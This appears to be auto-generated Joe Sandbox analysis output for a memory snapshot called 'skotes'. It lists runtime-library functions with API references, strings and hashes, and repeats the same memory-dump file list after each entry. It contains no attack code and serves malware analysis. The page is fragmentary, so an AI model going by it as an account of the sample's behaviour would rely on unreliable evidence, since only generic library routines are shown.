Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: cd1764ef4992324eeb2c792c8dbc7e9fea326253436230c66c26dee50f5ed527
Instruction ID: a17f0c0de797cbf85e2447a00fbdda027d6a118497e66223582dc2cb2f2536fe
Opcode Fuzzy Hash: cd1764ef4992324eeb2c792c8dbc7e9fea326253436230c66c26dee50f5ed527
Instruction Fuzzy Hash: 8531A335A00214ABCF05EF64C881AADB3B7BF46310F244569E9129B382EB71EE05CAD4

Function 00634E1A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 00634E6D
FindMITargetTypeInstance.LIBVCRUNTIME ref: 00634E86
PMDtoOffset.LIBCMT ref: 00634EAC

Strings

Bad dynamic_cast!, xrefs: 00634EEE

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: FindInstanceTargetType$Offset
String ID: Bad dynamic_cast!
API String ID: 1467055271-2956939130
Opcode ID: 2e93662add34a9c4f8635ce7ab631e7b1fd1ddc8dcba23b2f5305abc0a67ea5c
Instruction ID: 52412b56ccf5bfd6ccca5f63e4335b6dc39aee180c5dff369ed8b33cb900aed6
Opcode Fuzzy Hash: 2e93662add34a9c4f8635ce7ab631e7b1fd1ddc8dcba23b2f5305abc0a67ea5c
Instruction Fuzzy Hash: 5021E272A04205AFCB14DFA8DD46AAAF7AAFF84720F14411DF91197280DF31F90096E4

Function 0063727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 006372BE

Strings

.cmd, xrefs: 006372DC
.com, xrefs: 006372FE
.bat, xrefs: 006372ED
.exe, xrefs: 006372CB

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 6f03b151b42364e5e230b6c97b2bee0e2f97f0c6e858e5a7098ce250983f90b0
Instruction ID: 82136c651350a891402135f48226917d6ca69717482c61f29a70eaaf325b3f80
Opcode Fuzzy Hash: 6f03b151b42364e5e230b6c97b2bee0e2f97f0c6e858e5a7098ce250983f90b0
Instruction Fuzzy Hash: 22010067608A2729763520189D02BAA178B8BC2BB4F2A102EFC54FB2C1EF44DD4261E4

Function 0061FA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0061FB06

Strings

GetThreadGroupAffinity, xrefs: 0061FA93
kernel32.dll, xrefs: 0061FA7A
GetCurrentProcessorNumberEx, xrefs: 0061FABE
SetThreadGroupAffinity, xrefs: 0061FA87

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: 63c97f00e846b5b995499f617cd2ef3cc68b3106888fe83b2609824ac35d7839
Instruction ID: c020c9784cafcbdbc5178c5eebd58a8f481f92ad81d15ca03c0c43b6089515f1
Opcode Fuzzy Hash: 63c97f00e846b5b995499f617cd2ef3cc68b3106888fe83b2609824ac35d7839
Instruction Fuzzy Hash: 76012822A457256DA71077B96C4BEEB35DF8E0A705F251D3EB801E7243EFE4C8444564

Function 00632097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 006320B7

Part of subcall function 0062CAF3: Mailbox.LIBCMT ref: 0062CB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 006320C8
StructuredWorkStealingQueue.LIBCMT ref: 006320FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 0063210F

Strings

e, xrefs: 006320D9

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: bc00aeb8b224f05bbe5f654175197841bee860fdb819b328c0b32d019143dbbb
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: A011A331500106ABDB55DE69C9A16AA73A7EF02364F14C19EFD069F202DB71D905CBE0

Function 0061D029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 0061D0A5

Strings

WakeAllConditionVariable, xrefs: 0061D069
kernel32.dll, xrefs: 0061D04C
api-ms-win-core-synch-l1-2-0.dll, xrefs: 0061D03B
SleepConditionVariableCS, xrefs: 0061D05D

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
